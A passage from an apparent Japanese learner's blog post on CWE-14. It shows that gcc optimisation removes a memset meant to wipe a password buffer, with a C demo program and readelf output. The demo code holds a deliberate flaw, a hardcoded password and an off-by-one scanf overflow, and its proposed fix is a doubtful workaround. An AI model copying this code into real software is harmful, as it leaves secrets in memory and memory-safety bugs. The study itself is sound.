 black box methodではこの脆弱性を検知することはできない。なぜならばコンパイラは該当するコードそのものを消し去ってしまっていて、実際に動いているコードを解析しても、書いたプログラマがとあるメモリ領域をクリアしようと意図していたことなど知る由もないからだ。

White Box

 white box methodでは検知できる。ソースコードを確認できるからである。コンパイラが除去しがちなコードを慎重に探す必要がある。

脆弱性の再現

 ここまでは原文の内容をまとめただけなのでここからがメインパートである。原文の例を参考にして脆弱性を確認する。

// problem.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
const char pass[64] = "secretpass";

int GetPasswordFromUser(char pwd[])
{
    printf("Type your password: ");
    int check;
    check = scanf("%64s",pwd);
    if(1==check)
    {
        return 1;
    }
    return 0;
}

int CheckPassword(char pwd[])
{   
    int checkstring = strncmp(pwd, pass, 64);
    if(!checkstring)
    {
        return 1;
    }
    return 0;
}

void GetData()
{
    char pwd[64];
    if(GetPasswordFromUser(pwd))
    {
        if(CheckPassword(pwd))
        {
            printf("Correct Password!\n");
            printf("Secret Data is Iwashiira\n");
        } else {
            printf("Invalid Password\n");
        }
    }
    // クリア処理
    memset(pwd, 0, sizeof(pwd));
}

int main()
{
    GetData();
    return 0;
}

 チェックするためのパスワードもメモリ領域に置いちゃってるじゃんというツッコミが入りそうですが、ここで確認したいのは最適化処理を指定したときにmemset関数が消えているかどうかです。

gcc problem.c -o gccNoOpt
gcc problem.c -o gccOpt1 -O1
readelf -r gccNoOpt gccOpt1

gccNoOptとgccOpt1を比べてみる(見にくくてごめんなさい)と

File: gccNoOpt

Relocation section '.rela.dyn' at offset 0x610 contains 8 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000003d90  000000000008 R_X86_64_RELATIVE                    11e0
000000003d98  000000000008 R_X86_64_RELATIVE                    11a0
000000004008  000000000008 R_X86_64_RELATIVE                    4008
000000003fd8  000100000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_deregisterTMClone + 0
000000003fe0  000600000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.2.5 + 0
000000003fe8  000800000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000003ff0  000a00000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_registerTMCloneTa + 0
000000003ff8  000b00000006 R_X86_64_GLOB_DAT 0000000000000000 __cxa_finalize@GLIBC_2.2.5 + 0

Relocation section '.rela.plt' at offset 0x6d0 contains 6 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000003fa8  000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000003fb0  000300000007 R_X86_64_JUMP_SLO 0000000000000000 __stack_chk_fail@GLIBC_2.4 + 0
000000003fb8  000400000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
000000003fc0  000500000007 R_X86_64_JUMP_SLO 0000000000000000 memset@GLIBC_2.2.5 + 0
000000003fc8  000700000007 R_X86_64_JUMP_SLO 0000000000000000 strcmp@GLIBC_2.2.5 + 0
000000003fd0  000900000007 R_X86_64_JUMP_SLO 0000000000000000 __isoc99_scanf@GLIBC_2.7 + 0
File: gccOpt1

Relocation section '.rela.dyn' at offset 0x610 contains 8 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000003d98  000000000008 R_X86_64_RELATIVE                    11c0
000000003da0  000000000008 R_X86_64_RELATIVE                    1180
000000004008  000000000008 R_X86_64_RELATIVE                    4008
000000003fd8  000100000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_deregisterTMClone + 0
000000003fe0  000400000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.2.5 + 0
000000003fe8  000600000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000003ff0  000900000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_registerTMCloneTa + 0
000000003ff8  000a00000006 R_X86_64_GLOB_DAT 0000000000000000 __cxa_finalize@GLIBC_2.2.5 + 0

Relocation section '.rela.plt' at offset 0x6d0 contains 5 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000003fb0  000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000003fb8  000300000007 R_X86_64_JUMP_SLO 0000000000000000 __stack_chk_fail@GLIBC_2.4 + 0
000000003fc0  000500000007 R_X86_64_JUMP_SLO 0000000000000000 strcmp@GLIBC_2.2.5 + 0
000000003fc8  000700000007 R_X86_64_JUMP_SLO 0000000000000000 __printf_chk@GLIBC_2.3.4 + 0
000000003fd0  000800000007 R_X86_64_JUMP_SLO 0000000000000000 __isoc99_scanf@GLIBC_2.7 + 0

確かに最適化するとmemsetが消えています。これはclangでもおなじことが起こりました。radare2でデバッグしてみてもGetDataのmemset処理に関する部分は消去されていました。それでは対策として紹介されている方法を試してみます。

 まずvolatileをつける方法ですが、結論から言うとあまりうまくいきませんでした。volatileで宣言された領域を普通の関数に渡すとvolatileが「discard」されてしまうので扱う関数を工夫しなければいけないみたいなんですよね。strncmpの第一、第二引数はconst char*型がデフォルトですし、memsetの第一引数もvoid型としてが渡されるべきで、別の型を渡すとキャストされるみたいです。つまり別の関数を使わないといけなさそうですが、とりあえず放置してしまいました。少なくとも単純にコードのpwd[]をvolatileで宣言するだけでは改善できませんでした。

 次にコンパイラで除去しないように設定する方法ですが、コンパイラに詳しくないのでノータッチです。(なんのためにこの脆弱性の勉強をしてるんだろと言う気持ちになってきたぞ)

 最後の暗号化すると言うのは「まあ」というかんじで、結局その暗号化されたあとのデータを見ることができてしまうので根本的な解決にはなっていないような気がします。

 結論としては初期化処理をする関数だけ別ファイルに書いて最適化オプションなしでコンパイルして、後でまとめてリンクするのが(僕にとっては)丸いのかなと思っています。volatileを使いこなせればそんなことしなくてよさそうですけどね。今後もCWEを読んで勉強するぞ!